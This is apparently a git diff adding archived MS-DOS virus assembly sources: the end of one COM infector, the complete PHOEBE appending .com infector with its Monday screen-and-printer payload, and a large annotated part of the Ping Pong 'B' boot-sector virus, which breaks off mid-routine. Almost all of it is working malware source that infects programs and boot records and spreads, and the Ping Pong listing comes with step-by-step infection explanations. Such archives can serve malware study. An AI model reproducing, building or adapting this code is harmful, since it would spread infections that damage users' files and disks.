mov word ptr [delta+0E0h],ax ;Write Delta Offset
|
||||
;
|
||||
sub ax,cx ;Subtract 3h from Size.
|
||||
mov byte ptr [temp_buffer+0E0h+000h],0E9h ;Write Jump to Buffer
|
||||
mov word ptr [temp_buffer+0E0h+001h],ax ;Write Location to Buffr
|
||||
;
|
||||
sub ax,(v_end-v_start) ;Subtract Virus Length
|
||||
;
|
||||
cmp word ptr [si+001h],ax ;Is File Infected?
|
||||
jz closeCOMfile ;Jump if Infected.
|
||||
;
|
||||
mov ah,040h ;AH = 40h
|
||||
mov cx,(v_end-v_start) ;CX = # of Bytes to Wrte
|
||||
mov dx,01E0h ;DX = Data to Write
|
||||
int 021h ;Write To File.
|
||||
;
|
||||
mov word ptr es:[di+015h],bp ;Move File Pointer To
|
||||
mov word ptr es:[di+017h],bp ;Start of File.
|
||||
;
|
||||
mov ah,040h ;AH = 40h
|
||||
mov cx,003h ;CX = # of Bytes to Wrte
|
||||
mov dx,offset temp_buffer+0E0h ;DX = Data to Write
|
||||
int 021h ;Write To File.
|
||||
;
|
||||
mov ax,5701h ;AX = 5701h
|
||||
mov cx,word ptr es:[di+00Dh] ;CX = Time Stamp
|
||||
mov dx,word ptr es:[di+00Fh] ;DX = Date Stamp
|
||||
int 021h ;Set Time.
|
||||
;
|
||||
closeCOMfile: ;
|
||||
mov ah,03Eh ;AH = 3Eh
|
||||
int 021h ;Close File.
|
||||
;
|
||||
jmp exit ;Unconditional Jump
|
||||
;
|
||||
db "[ML/PS]" ;
|
||||
;
|
||||
i021h: pusha ;Preserve All Regs.
|
||||
push ds es ;Save Segment Registers.
|
||||
;
|
||||
sub ax,4B00h ;Executing A File?
|
||||
jnz exit ;Jump If Not 4B00h.
|
||||
;
|
||||
jmp infect ;Unconditional Jump.
|
||||
|
||||
exit: pop es ds ;Restore Segment Regs.
|
||||
popa ;Restore All Registers.
|
||||
;
|
||||
int21h: db 0EAh ;JMP SSSS:OOOOO
|
||||
;
|
||||
v_end: ;End of Virus
|
||||
heap_start: ;Start of Heap
|
||||
;
|
||||
i021hOffset dw 001h dup (?) ;Buffer for Offset
|
||||
i021hSegment dw 001h dup (?) ;Buffer for Segment
|
||||
|
||||
temp_buffer db 003h dup (?) ;Buffer for Calculations
|
||||
;
|
||||
heap_end: ;End of Heap
|
||||
;
|
||||
end start ;End of Source
|
180
MSDOS/Virus.MSDOS.Unknown.phoebe.asm
Normal file
180
MSDOS/Virus.MSDOS.Unknown.phoebe.asm
Normal file
@ -0,0 +1,180 @@
|
||||
|
||||
|
||||
|
||||
;PHOEBE
|
||||
;coded by Opic of the Codebreakers
|
||||
;PHOEBE is an appending .com infector with DT via a dotdot routine
|
||||
;infection criteria is met on a moday once all files that are capable of
|
||||
;being infected by PHOEBE are, a payload is delivered:
|
||||
;the monitor will print a message to the screen(in the French) which
|
||||
;translates to;"Indroducing PHOEBE, she was coded in the heart of midwest
|
||||
;america in the autumn of ninteen ninty-seven by Opic of The Codebreakers"
|
||||
;along with a text string which will be printed to the printer. Thanx go
|
||||
;out to:Spo0ky,Arsonic,and Sea4 for which without their help Phoebe whould
|
||||
;not be what she is today. PHOEBE can be assembled using a86 V4.02
|
||||
;it should be noted that phoebe has no anti-av routines, yet is still
|
||||
;remains undetectable by most av software. a testament to the inconsistancy
|
||||
;of many av scanners, specifically windows95 scanners.
|
||||
|
||||
|
||||
|
||||
db 0e9h,0,0 ;jump to virus code..
|
||||
|
||||
|
||||
start_of_PHOEBE:
|
||||
|
||||
call delta ;get delta offset to get # of byte virus moved down
|
||||
|
||||
delta:
|
||||
pop bp ; call a pop register to get the ip back into register
|
||||
sub bp,offset delta ; we subtract the offset delta from bp(ip)
|
||||
mov cx,3
|
||||
mov di,100h
|
||||
lea si,[bp+buffer]
|
||||
rep movsb
|
||||
jmp find_first ;jump to find the first file
|
||||
|
||||
find_first:
|
||||
mov ah,4eh ;find's first file in the starting directory..
|
||||
mov cx,7
|
||||
lea dx,[bp+filespec]
|
||||
int 21h
|
||||
jnc open ;one found.. then infect da
|
||||
jmp dir_loopy ;otherwise change directory
|
||||
|
||||
dir_loopy:
|
||||
lea dx,[bp+dotdot]
|
||||
mov ah, 3bh ;int for chdir
|
||||
int 21h
|
||||
jnc find_first ;find first file in new directory
|
||||
jmp check_payload ; we finished spreading so we check payload criteria
|
||||
|
||||
find_next:
|
||||
mov ah, 4Fh ;find next..
|
||||
int 21h
|
||||
jnc open ;one found.. INFECT IT!
|
||||
jmp dir_loopy ;otherwise we do a cd..
|
||||
|
||||
open:
|
||||
mov ax,3d02h ;open file
|
||||
mov dx,9eh ;get the info from the dta
|
||||
int 21h
|
||||
|
||||
mov bx,ax
|
||||
|
||||
mov ah,3fh ;read from file
|
||||
mov cx,3 ;3 bytes
|
||||
lea dx,[bp+buffer]
|
||||
int 21h
|
||||
mov ax,word ptr[80h + 1ah]
|
||||
sub ax,end_of_PHOEBE - start_of_PHOEBE + 3
|
||||
cmp ax,word ptr[bp+buffer+1]
|
||||
je bomb_it_out
|
||||
mov ax,word ptr[80h + 1ah]
|
||||
sub ax,3
|
||||
mov word ptr[bp+new_three+1],ax
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
mov ah,40h
|
||||
lea dx,[bp+new_three]
|
||||
mov cx,3
|
||||
int 21h
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
mov ah,40h
|
||||
lea dx,[bp+start_of_PHOEBE]
|
||||
mov cx,end_of_PHOEBE - start_of_PHOEBE
|
||||
int 21h
|
||||
jmp bomb_it_out
|
||||
|
||||
bomb_it_out: ;closes the file..
|
||||
mov ah,3fh ;close file
|
||||
int 21h
|
||||
|
||||
jmp find_next ;find another..
|
||||
|
||||
check_payload:
|
||||
mov ah,2ah ;gets system date
|
||||
int 21h ;opens it
|
||||
cmp al,001h ;compares, is it monday?
|
||||
je payload ; if so, we got shit to do
|
||||
jmp get_out ; if not then we chill till Mon.
|
||||
|
||||
payload:
|
||||
mov ah,09h ; Fuction 09h: Print String to standard output
|
||||
lea dx,screen ; Start of '$' terminated string
|
||||
int 21h
|
||||
|
||||
mov ah,01h ;begin of printer sect of payload
|
||||
mov dx,0h
|
||||
int 17h ;int for initializing printer
|
||||
|
||||
lea si,string1
|
||||
mov cx,String1Len
|
||||
PrintStr:
|
||||
mov ah,00h
|
||||
lodsb
|
||||
int 17h
|
||||
loop PrintStr
|
||||
|
||||
Get_out:
|
||||
lea di,100h
|
||||
jmp di
|
||||
|
||||
new_three db 0e9h,0,0
|
||||
filespec db '*.com',0
|
||||
dotdot db '..',0
|
||||
screen db "Voila PHOEBE! Elle etait code' dans la coeur de ,",10,13
|
||||
screen2 db "l'amerique midwest a l'automne, dix-neuf cent",10,13
|
||||
screen3 db 'quatre-vingt-dix-sept, par Opic des Codebreakers',10,13,'$'
|
||||
;You have to have the "$" at the end of all the text you want to print
|
||||
|
||||
String1Len EQU EndStr1-String1
|
||||
String1 db '*************************PHOEBE*************************',0dh,0ah
|
||||
db 'Phoebe: high school knockout, better take our MONDAY to',0dh,0ah
|
||||
db 'the tuesday prize fighter(you were a cab driver off on',0dh,0ah
|
||||
db 'the distance).youre a runner or a lover:sacred taylor',0dh,0ah
|
||||
db 'set our records straight one lost two late,im a little',0dh,0ah
|
||||
db 'off time so set your ticker to mine:',0dh,0ah
|
||||
db 'id love to have my halo of social grace recrowned.',0dh,0ah
|
||||
db '(desert island ect.) home to ill will and',0dh,0ah
|
||||
db 'misrepresentation. barter with me now mexico, i demand',0dh,0ah
|
||||
db 'it.come bluebeard & red blood-we are life-even in our',0dh,0ah
|
||||
db 'tied down mishaps. we are life; endure us. dead seven',0dh,0ah
|
||||
db 'year old run over by a bus while stealing your first',0dh,0ah
|
||||
db 'and only bicycle; endure. this is life even in my wine',0dh,0ah
|
||||
db 'glass even in my ever faltering and constant doubt we',0dh,0ah
|
||||
db 'are here, this is it, endure. even in on our toilet',0dh,0ah
|
||||
db 'in the morning or in your shitbox or motel, you have',0dh,0ah
|
||||
db 'made it-rejoice!-the ground will open up on us even',0dh,0ah
|
||||
db 'before this glass is finished. this year will end for',0dh,0ah
|
||||
db 'most of us.salt touches the ground, athens have we',0dh,0ah
|
||||
db 'lost quite yet? savagly speared we went down quietly?',0dh,0ah
|
||||
db 'giving up our youth or even worse our spirit so',0dh,0ah
|
||||
db 'daintily as a beauty queen shits at midnight? was no',0dh,0ah
|
||||
db 'one watching? listening? tell me athens: are we',0dh,0ah
|
||||
db 'christians and lions? have i got my history all wrong?',0dh,0ah
|
||||
db 'from the first to the last or one year past: "are these',0dh,0ah
|
||||
db 'the depths of despair so unevenly documented in its',0dh,0ah
|
||||
db 'text?".for once athens history repeats itself.tell me',0dh,0ah
|
||||
db 'what do you think of our football games? are our glory',0dh,0ah
|
||||
db 'days over? is america doomed with pre-ejaculation? i',0dh,0ah
|
||||
db 'must know. slap me and tell me im like all the rest,',0dh,0ah
|
||||
db 'athens,id feel so much better if you did.am i a thief',0dh,0ah
|
||||
db 'stealing red robed memory? am i: train through a',0dh,0ah
|
||||
db 'tunnel? rocketship blasting off? the washington',0dh,0ah
|
||||
db 'monument? i bet i am.i am wimpering under your window',0dh,0ah
|
||||
db 'sill or whispering to your pillowed ear:rejoice! we are',0dh,0ah
|
||||
db 'famous watchers.sewer of amber letters, lips sewed a',0dh,0ah
|
||||
db 'thread of truth to your tongue.i named and numbered my',0dh,0ah
|
||||
db 'system the whole world over,and you?you got flowers and',0dh,0ah
|
||||
db 'chocolates.like a steel warehouse summer turned calcium',0dh,0ah
|
||||
db 'to carbon.',0dh,0ah
|
||||
db '****coded/copyrighted:Opic*********Codebreakers,1997****',0Ch
|
||||
EndStr1:
|
||||
buffer db 0cdh,20h,0
|
||||
end_of_PHOEBE:
|
1052
MSDOS/Virus.MSDOS.Unknown.phoenix.asm
Normal file
1052
MSDOS/Virus.MSDOS.Unknown.phoenix.asm
Normal file
File diff suppressed because it is too large
Load Diff
761
MSDOS/Virus.MSDOS.Unknown.pingb.asm
Normal file
761
MSDOS/Virus.MSDOS.Unknown.pingb.asm
Normal file
@ -0,0 +1,761 @@
|
||||
TITLE PINGB.ASM - Ping Pong "B" virus assembly source code
|
||||
|
||||
COMMENT # Read the following carefully:
|
||||
|
||||
THIS FILE IS INTENDED FOR EXAMINATION ONLY.
|
||||
|
||||
WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!!
|
||||
This virus, when assembled, is (almost) harmless if left in a file.
|
||||
At best, the code will overwrite part of DOS and hang your machine.
|
||||
At worst, it could wipe out the Boot record of A: or the master boot
|
||||
record of your hard disk. Since the virus MUST be loaded from a boot
|
||||
sector to function properly, running the code from DOS will definitely
|
||||
cause problems.
|
||||
|
||||
DISCLAIMER: The author will NOT be held responsible for any damages
|
||||
caused by careless use of the information presented here.
|
||||
|
||||
NOTE: This file, when assembled, will produce a binary image identical
|
||||
to the original virus code (except for data areas). It has a
|
||||
few flaws, the biggest of which is described in item 1 of the
|
||||
Coding Quirks section, below. The companion file, PINGB-C.ASM is
|
||||
a "cleaned-up" copy of the virus; it corrects all the items under
|
||||
the Coding Quirks section. It should be operationally functional
|
||||
to the virus code in this copy.
|
||||
|
||||
|
||||
THEORY OF OPERATION:
|
||||
|
||||
1) A disk with the virus is booted.
|
||||
2) The BIOS memory count is decreased by 2k, to prevent DOS from
|
||||
overwriting the virus, and relocates itself to the reserved space.
|
||||
3) Part II of the virus is read into RAM just after part I.
|
||||
4) The original boot sector is read to 0000:7C00.
|
||||
5) Virus gets and saves the address of INT 13h, the BIOS disk service
|
||||
interrupt routine, then hooks its own routine in place.
|
||||
6) The virus jumps to 0000:7C00, load DOS if possible.
|
||||
|
||||
|
||||
INFECTION PROCESS:
|
||||
|
||||
1) A BIOS read request is preformed on the target disk.
|
||||
2) If the drive is different from the last drive that was read from, then
|
||||
attempt infection immediately. Otherwise, check the BIOS clock tick
|
||||
count to see if it's time to activate the bouncing ball routine.
|
||||
3) Read very first sector of the disk. If it's a hard disk, then search
|
||||
for a DOS-12 or DOS-16 partition, and if found, read the first sector
|
||||
of THAT partition. We now have the "normal" boot record of the target
|
||||
disk in the sector buffer.
|
||||
4) Copy the BPB from the boot record to the virus code space.
|
||||
5) Check virus' signature in the boot record to see if infected before.
|
||||
Check disk structure; virus needs 512 byte sectors, and at least 2 sectors
|
||||
per cluster to infect the disk.
|
||||
6) Calculate number of system use sectors, data sectors, and maximum cluster
|
||||
number.
|
||||
7) Starting with the first sector of the FAT, search for a free cluster.
|
||||
If none found, then don't infect the disk.
|
||||
8) The first free cluster is flagged as bad, and the FAT is updated. Note
|
||||
that only the first copy of the FAT will be modified.
|
||||
9) The original boot sector is re-read and written to the second sector of
|
||||
the virus' cluster. Part II of the virus is written to the first sector.
|
||||
Part I is written to sector 0, replacing the original boot record.
|
||||
|
||||
|
||||
INFECTION RESTRICTIONS:
|
||||
|
||||
0) The virus cannot infect a write-protected disk (obvious, isn't it?)
|
||||
1) The virus will not infect a non-DOS bootable hard disk.
|
||||
2) The virus will only infect a disk with 512 byte sectors, and at least two
|
||||
sectors per cluster. This rules out 1.44M and 1.2M disks, among others.
|
||||
3) The virus will not infect a disk with no free space (from DOS's view).
|
||||
|
||||
|
||||
CODING QUIRKS:
|
||||
|
||||
1) The virus uses a "MOV CS,AX" instruction to continue execution after
|
||||
relocating itself to higher memory (see MEMORY MAP, below). This should
|
||||
not work on a 286 or 386 system (the author has not tried it!).
|
||||
2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit
|
||||
register). It could be replaced by "XOR rr,0" to save a byte.
|
||||
3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first
|
||||
computing the ones complement, then adding one to get the twos
|
||||
complement.) This could be replaced by "NEG rr" to save three bytes.
|
||||
4) The use of OFS_ADJ (see below for computation) is needed to let me use
|
||||
an ORG of 0 when assembling the file. I could've used ORG 07C00h, but
|
||||
that would create a file about 32k in size on assembling. Instead, I
|
||||
chose to add this offset manually to force correct address generation.
|
||||
|
||||
MEMORY MAP:
|
||||
|
||||
The virus will relocate itself 2k below the top of memory. The virus
|
||||
itself is 1024 bytes, and uses a 512 byte buffer when infecting other
|
||||
disks. In all, the virus uses 1.5k of memory that is 512 bytes below
|
||||
the BIOS top of memory count. For a 640k machine the map becomes:
|
||||
|
||||
640.0k (97C0:8400, which is A000:0000) ==> Top of memory
|
||||
639.5k (97C0:8200 to 97C0:83FF) ==> Unused
|
||||
639.0k (97C0:8000 to 97C0:81FF) ==> Buffer used by virus
|
||||
638.5k (97C0:7E00 to 97C0:7FFF) ==> 2nd part of virus code
|
||||
638.0k (97C0:7C00 to 97C0:7DFF) ==> Main part of Ping Pong virus
|
||||
|
||||
Note that the "clean" version has a different memory map!!
|
||||
|
||||
# End of comment
|
||||
|
||||
|
||||
LOCALS
|
||||
|
||||
;The following lines, especially OFS_ADJ, is used to force the assembler to
|
||||
;generate the correct address for data references. The virus code is
|
||||
;ORG 7C00h, but we are assembling at ORG 0h. Therefore, we must add
|
||||
;7C00h to all data references, to make the addresses come out right.
|
||||
PROGRAM_ASSEMBLY_OFS EQU 0000H
|
||||
BOOT_SECTOR_LOAD_OFS EQU 7C00H
|
||||
|
||||
OFS_ADJ EQU BOOT_SECTOR_LOAD_OFS - PROGRAM_ASSEMBLY_OFS
|
||||
|
||||
|
||||
LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space
|
||||
ORG 0H ;Interrupt vector space
|
||||
DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching
|
||||
|
||||
ORG 0020H
|
||||
INT8_OFS DW ? ;INT 8h vector offset & segment
|
||||
INT8_SEG DW ?
|
||||
|
||||
ORG 004CH
|
||||
INT13_OFS DW ? ;INT 13h vector offset & segment
|
||||
INT13_SEG DW ?
|
||||
|
||||
ORG 0413H ;BIOS data area
|
||||
KB_MEM DW ? ;K bytes of RAM in machine
|
||||
|
||||
ORG 7C00H ;Jump here to load O/S
|
||||
BOOT_SECTOR_EXEC LABEL FAR
|
||||
|
||||
LOW_MEM_DATA ENDS
|
||||
|
||||
VIRUS SEGMENT
|
||||
ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING
|
||||
ORG 0H
|
||||
|
||||
START_HERE:
|
||||
JMP SHORT CODE_START ;Force a two byte relative JuMp
|
||||
NOP_INST:
|
||||
NOP
|
||||
OEM_ID DB 'PingPong' ;Must be eight characters long!
|
||||
BYTES_PER_SEC DW 512
|
||||
SEC_PER_CLU DB 2
|
||||
RES_SECTORS DW 1
|
||||
FAT_COPIES DB 2
|
||||
DIR_ENTRIES DW 112 ;This is a standard
|
||||
TOTAL_SECTORS DW 720 ; BIOS Parameter Block!
|
||||
MEDIA_DESCRIP DB 0FDH
|
||||
SEC_PER_FAT DW 2
|
||||
SEC_PER_TRK DW 9
|
||||
SIDES_ON_DISK DW 2
|
||||
HIDDEN_SECTORS DW 0
|
||||
|
||||
ORG 001EH ;Must ORGinate at offset 1Eh
|
||||
CODE_START:
|
||||
XOR AX,AX
|
||||
MOV SS,AX ;Set up stack pointer
|
||||
MOV SP,BOOT_SECTOR_LOAD_OFS
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,KB_MEM ;Get BIOS's count of available memory
|
||||
SUB AX,2 ;Reserve 2k for virus's use
|
||||
MOV KB_MEM,AX ;Save updated memory Kbyte count
|
||||
|
||||
;Shifting the memory Kbyte count left by 6 bits will yield the equivalent
|
||||
;paragraph count. The result is the target segment value for relocation.
|
||||
;Subtracting 07C0h from the segment value will make the segment shift
|
||||
;downards by 7C00 bytes, which makes offset 7C00h in that segment line
|
||||
;up with the previous offset 0.
|
||||
;For a 640k machine (numbers in parenthesis are decimal equivalents)
|
||||
; Original BIOS memory count: 280h ( 640) Kbytes
|
||||
; After virus subtracts 2k : 27Eh ( 638) Kbytes
|
||||
; Shifting left by 6 bits : 9F80h (40832) paragraphs
|
||||
; Subtract 07C0h : 97C0h (38848) segment value
|
||||
MOV CL,06
|
||||
SHL AX,CL ;This is same as multiplying by 64
|
||||
SUB AX,07C0H ;Subtract offset divided by 16
|
||||
MOV ES,AX ;Use result as segment value
|
||||
MOV SI,BOOT_SECTOR_LOAD_OFS
|
||||
MOV DI,SI ;Set up index regisetrs for move
|
||||
MOV CX,256 ;Copy 256 words (ie 512 bytes)
|
||||
REP MOVSW
|
||||
|
||||
DB 08EH, 0C8H ;This is a "MOV CS,AX" instruction (See notes below)
|
||||
;Notes on MOV CS,AX:
|
||||
;This should be an illegal instruction, and if you go by the book, it
|
||||
;wouldn't work on a 80x86 processor. On a 80386 system, it will hang the
|
||||
;computer, requiring a hard reset or a cold boot. Apprantly, it works on
|
||||
;a 8088. Turbo Assembler 2.0 will flag "MOV CS,AX" as an instruction with
|
||||
;illegal operands, so, in order to preserve the original virus code, the
|
||||
;hex bytes of the instruction must be inserted manually into the code stream.
|
||||
|
||||
VIRUS_CONT LABEL FAR ;Continuation address after move
|
||||
PUSH CS
|
||||
POP DS ;Set up DS register
|
||||
ASSUME ES:VIRUS,DS:VIRUS
|
||||
CALL @@LOAD_PART_2 ;try two times to load part 2
|
||||
@@LOAD_PART_2:
|
||||
XOR AH,AH
|
||||
INT 13H ;Reset disk subsystem
|
||||
AND Byte Ptr DRIVE+OFS_ADJ,080H ;Force drive number to either A: or C:
|
||||
MOV BX,PART2_SECTOR+OFS_ADJ
|
||||
|
||||
;The sector read/write routine always uses a fixed offset of 8000h; so to get
|
||||
;the data into the right place, the segment registers are adjusted instead.
|
||||
;We want to load part 2 of the virus just after part 1, so the offset normally
|
||||
;would be 7E00h (ie, 7C00h+200h). However, since the offset MUST be 8000h,
|
||||
;we will change ES to be 0200h BYTES lower then it normally would be.
|
||||
;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES
|
||||
;only subtract 0020h.
|
||||
;This gives us a effective offset calculation of 8000h - (20h * 10h) = 7E00h
|
||||
PUSH CS
|
||||
POP AX ;See note above!!
|
||||
SUB AX,20H
|
||||
MOV ES,AX ;Move result into ES for read routine
|
||||
|
||||
CALL READ_SECTOR
|
||||
MOV BX,PART2_SECTOR+OFS_ADJ ;Sector after part 2 of the virus is
|
||||
INC BX ; the original boot record of the disk
|
||||
MOV AX,0FFC0H ;Address calculation for sector read:
|
||||
MOV ES,AX ; 8000h + (FFC0h * 10h) = 107C00h
|
||||
CALL READ_SECTOR ;Trim address to 20 bits, and you
|
||||
XOR AX,AX ; get 07C00h, which is 0000:7C00
|
||||
MOV FLAGS+OFS_ADJ,AL ;Clear all flags.
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,INT13_OFS
|
||||
MOV BX,INT13_SEG
|
||||
MOV Word Ptr INT13_OFS,OFFSET NEW_INT13+OFS_ADJ
|
||||
MOV INT13_SEG,CS
|
||||
PUSH CS
|
||||
POP DS
|
||||
ASSUME DS:VIRUS
|
||||
MOV INT13_PATCH+1+OFS_ADJ,AX ;Save original INT 13h vector
|
||||
MOV INT13_PATCH+3+OFS_ADJ,BX ; directly into instruction stream
|
||||
MOV DL,DRIVE+OFS_ADJ
|
||||
JMP BOOT_SECTOR_EXEC ;Load the O/S as normal
|
||||
|
||||
;***************************************
|
||||
WRITE_SECTOR:
|
||||
MOV AX,0301H
|
||||
JMP SHORT VIRUS_DISK_SERV
|
||||
READ_SECTOR:
|
||||
MOV AX,0201H
|
||||
VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX
|
||||
XCHG AX,BX ;Swap command code and sector number
|
||||
|
||||
;Now calculate the physical location of the sector number. DOS sectors are
|
||||
;sequential, while the BIOS uses track, head, and sector numbers.
|
||||
;Method:
|
||||
; Starting with: AX=DOS sector #
|
||||
; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1)
|
||||
; Move sector number (in DL) to CH for later processing
|
||||
; Dividing by sides on disk: AX=Track number DL=Head (Side) number
|
||||
; Since the track # may be more than 255, we will combine the lower
|
||||
; two bits in AH with the sector number in CH. First shift it left
|
||||
; by 6 bits, to get it in the form tt000000, then OR it with CH.
|
||||
; AX now has the following format (high to low bit seq.): TTssssss tttttttt
|
||||
; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#,
|
||||
; and "s" is bits of sector number. )
|
||||
; Now copy AX into CX, and reverse the two halves of CX. Now the track
|
||||
; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss)
|
||||
; The side number is still in DL, so copy it into DH for the BIOS.
|
||||
|
||||
ADD AX,HIDDEN_SECTORS+OFS_ADJ ;Add number of hidden sectors
|
||||
XOR DX,DX ; (Clear high word for 32 bit division)
|
||||
DIV SEC_PER_TRK+OFS_ADJ ;Divide by sectors/track to get
|
||||
INC DL ; sector number in DX.
|
||||
MOV CH,DL
|
||||
XOR DX,DX
|
||||
DIV SIDES_ON_DISK+OFS_ADJ ;Divide what's left in AX by
|
||||
MOV CL,06 ; # of sides to get a track number
|
||||
SHL AH,CL ; in AX and the head number in DX.
|
||||
OR AH,CH ;Do some bit shuffling to get the
|
||||
MOV CX,AX ; pieces in order...
|
||||
XCHG CH,CL
|
||||
MOV DH,DL ; and we're done! (whew!)
|
||||
|
||||
MOV AX,BX ;Move command code back into AX
|
||||
DISK_SERVICE:
|
||||
MOV DL,DRIVE+OFS_ADJ
|
||||
MOV BX,8000H ;Offset is fixed. (See notes above)
|
||||
INT 13H
|
||||
JNC @@NO_ERR ;If successful, then return to caller normally
|
||||
POP AX ;Otherwise, remove caller's return address
|
||||
@@NO_ERR: ; and return one lever higher than should.
|
||||
RET
|
||||
|
||||
NEW_INT13 LABEL FAR ;New INT 13h handler
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH AX
|
||||
PUSH BX ;Save registers on stack
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS ;Establish our data segment registers
|
||||
POP DS
|
||||
PUSH CS
|
||||
POP ES
|
||||
ASSUME DS:VIRUS,ES:VIRUS
|
||||
TEST Byte Ptr FLAGS+OFS_ADJ,01 ;Was this INT invoked before?
|
||||
JNZ @@END ;If so, ignore this call
|
||||
CMP AH,02 ;Intercept read requests only
|
||||
JNE @@END
|
||||
CMP DRIVE+OFS_ADJ,DL ;Check drive number...
|
||||
MOV DRIVE+OFS_ADJ,DL ; (also save it for next time)
|
||||
JNZ @@INFECT ;...if not the same, infect immediately
|
||||
XOR AH,AH
|
||||
INT 1AH ;Get clock tick count
|
||||
TEST DH,07FH ;Is it the right time to activate
|
||||
JNZ @@UPDATE_TICKS ; the bouncing ball display?
|
||||
TEST DL,0F0H
|
||||
JNZ @@UPDATE_TICKS
|
||||
PUSH DX ;Preserve clock tick count
|
||||
CALL INST_BALL ;Install the bouncing ball routine,
|
||||
POP DX ; if not established already.
|
||||
@@UPDATE_TICKS:
|
||||
MOV CX,DX ;Find elapsed time since last call
|
||||
SUB DX,TICK_COUNT+OFS_ADJ ; to this routine. Also save tick
|
||||
MOV TICK_COUNT+OFS_ADJ,CX ; count for next time.
|
||||
SUB DX,36 ;If less than 2 seconds have passed,
|
||||
JB @@END ; don't infect the disk.
|
||||
@@INFECT:
|
||||
OR Byte Ptr FLAGS+OFS_ADJ,00000001B ;Set busy flag for INT 13h
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
CALL INFECT_A_DISK ;Attempt to infect target disk
|
||||
POP DI
|
||||
POP SI
|
||||
AND Byte Ptr FLAGS+OFS_ADJ,11111110B ;Clear busy flag.
|
||||
@@END:
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX ;Restore caller's registers
|
||||
POP AX
|
||||
POP ES
|
||||
POP DS
|
||||
INT13_PATCH LABEL WORD
|
||||
JMP DUMMY_ADDRESS ;Continue with original INT 13h handler
|
||||
|
||||
INFECT_A_DISK:
|
||||
MOV AX,0201H ;Read one sector...
|
||||
MOV DH,0
|
||||
MOV CX,0001H ;...the first sector of a disk.
|
||||
CALL DISK_SERVICE
|
||||
|
||||
;At this point, the sector we just read could be a normal boot record,
|
||||
;or the partition table of a hard disk. If it's a boot record from a floppy,
|
||||
;then proceed to infect it. Otherwise, we have to find the DOS partition
|
||||
;of the hard disk and read the boot sector from that partition. We search
|
||||
;the partition for a DOS-12 or DOS-16 entry, then, using the beginning
|
||||
;drive/side/track/sector information, we read the first sector of the
|
||||
;partition. That sector will be the required boot record, which we will
|
||||
;prodeed to process.
|
||||
TEST Byte Ptr DRIVE+OFS_ADJ,80H ;Is the disk a Winchester?
|
||||
JZ @@FLOPPY ;If so, then we got a partition table.
|
||||
MOV SI,OFFSET PARTITION_TABLE+OFS_ADJ
|
||||
MOV CX,4
|
||||
@@LP: ;Check O/S identification byte:
|
||||
CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition?
|
||||
JE @@FOUND ; if so, then continue with infection.
|
||||
CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition.
|
||||
JE @@FOUND
|
||||
ADD SI,16 ;Not this one, go to next partition
|
||||
LOOP @@LP
|
||||
RET ;No suitable DOS partitions found, so exit.
|
||||
@@FOUND:
|
||||
MOV DX,[SI] ;Get drive number and side
|
||||
MOV CX,[SI+2] ;Get track and sector numbers
|
||||
MOV AX,0201H ;Read one sector...
|
||||
CALL DISK_SERVICE
|
||||
|
||||
@@FLOPPY: ;A DOS boot record is at CS:8000
|
||||
MOV SI,OFFSET _NOP_INST+OFS_ADJ ;Copy BPB to virus' code
|
||||
MOV DI,OFFSET NOP_INST+OFS_ADJ ; space at ES:7C00h
|
||||
MOV CX,001CH
|
||||
REP MOVSB
|
||||
CMP Word Ptr _VIRUS_SIG+OFS_ADJ,01357H ;Check virus' signature
|
||||
JNE @@INFECT ;Infect if not the same
|
||||
|
||||
;It is not known what the following code does; it seems to soem sort of
|
||||
;error recovery procedure, in case the first attempt at infection failed.
|
||||
CMP Byte Ptr _CONTINUATION+OFS_ADJ,0
|
||||
JNB @@EXIT
|
||||
MOV AX,_SYSTEM_SECTORS+OFS_ADJ
|
||||
MOV SYSTEM_SECTORS+OFS_ADJ,AX
|
||||
MOV SI,_PART2_SECTOR+OFS_ADJ
|
||||
JMP CONT_POINT
|
||||
@@EXIT:
|
||||
RET ;Exit now; cannot infect this disk
|
||||
|
||||
@@INFECT:
|
||||
CMP Word Ptr _BYTES_PER_SEC+OFS_ADJ,512 ;512 byte sectors only!
|
||||
JNZ @@EXIT
|
||||
CMP Byte Ptr _SEC_PER_CLU+OFS_ADJ,2 ;At lease 2 sectors per cluster
|
||||
JB @@EXIT
|
||||
|
||||
;The virus now computes the number of system use sectors and number of data
|
||||
;sectors. System use sectors include the Boot Record, FAT copies, root
|
||||
;directory, and any otherwise reserved sectors. What's left is the number
|
||||
;of data sectors.
|
||||
MOV CX,_RES_SECTORS+OFS_ADJ ;Get # of reserved sectors
|
||||
MOV AL,_FAT_COPIES+OFS_ADJ ;Get # of FAT copies
|
||||
CBW ;Convert to word in AX
|
||||
MUL Word Ptr _SEC_PER_FAT+OFS_ADJ ;Multiply by sectors/FAT
|
||||
ADD CX,AX ;Add result to # reserved sec.
|
||||
|
||||
MOV AX,32 ;Each dir entry is 32 bytes
|
||||
MUL Word Ptr _DIR_ENTRIES+OFS_ADJ ;Get size of root dir in bytes
|
||||
ADD AX,511 ;Round up when dividing...
|
||||
MOV BX,512 ;Divide by 512 to get # sectors
|
||||
DIV BX ; the root directory takes.
|
||||
ADD CX,AX ;Add to # reserved sectors
|
||||
MOV SYSTEM_SECTORS+OFS_ADJ,CX ;(Overflow & remainder ignored)
|
||||
|
||||
;The virus now calculates the number of data sectors and clusters.
|
